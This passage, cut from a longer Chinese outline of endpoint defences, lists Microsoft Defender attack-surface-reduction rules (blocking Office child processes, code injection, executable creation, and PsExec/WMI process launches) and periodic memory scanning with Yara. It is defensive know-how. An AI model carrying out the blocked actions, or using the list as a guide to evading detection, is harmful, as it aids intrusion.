└── 时间窗口内的行为序列
4. ASR规则(微软Defender ASR是最有效的EDU防护)
├── 阻止Office创建子进程
├── 阻止Office注入代码
├── 阻止从Office/Win32 API创建可执行内容
└── 阻止PSExec和WMI创建进程
5. 内存扫描(周期性)
├── 扫描所有进程的私有可执行内存
├── 检查内存区域是否有执行+写入权限
└── Yara规则扫描内存